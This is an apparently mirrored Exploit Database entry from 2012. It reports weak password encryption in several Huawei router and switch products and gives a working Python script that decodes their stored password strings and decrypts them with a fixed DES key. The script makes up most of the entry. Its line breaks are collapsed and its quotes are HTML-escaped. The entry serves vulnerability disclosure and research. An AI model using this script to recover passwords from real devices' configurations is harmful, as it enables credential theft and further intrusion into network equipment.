Huawei (Multiple Products) – Password Encryption

• Exploit Database
• 124 阅读

• 作者： Roberto Paleari
  日期： 2012-11-13
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/38020/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63

  source: https://www.securityfocus.com/bid/56510/info   Multiple Huawei products are prone to a weak password encryption weakness.   Successful exploits may allow an attacker to decrypt stored passwords; this may aid in further attacks.   The following are vulnerable:   Huawei Quidway series Huawei CX600 V600R001 Huawei CX600 V600R003C00SPC900 Huawei ME60 V600R002C07 and prior versions AR 19/29/49 R2207 and prior versions   from Crypto.Cipher import DES   def decode_char(c): if c == &apos;a&apos;: r = &apos;?&apos; else: r = c return ord(r) - ord(&apos;!&apos;)   def ascii_to_binary(s): assert len(s) == 24   out = [0]*18 i = 0 j = 0   for i in range(0, len(s), 4): y = decode_char(s[i + 0]) y = (y << 6) & 0xffffff   k = decode_char(s[i + 1]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff   k = decode_char(s[i + 2]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff   k = decode_char(s[i + 3]) y = (y | k) & 0xffffff   out[j+2] = chr(y & 0xff) out[j+1] = chr((y>>8)& 0xff) out[j+0] = chr((y>>16) & 0xff)   j += 3   return "".join(out)   def decrypt_password(p): r = ascii_to_binary(p)   r = r[:16]   d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB) r = d.decrypt(r)   return r.rstrip("\x00")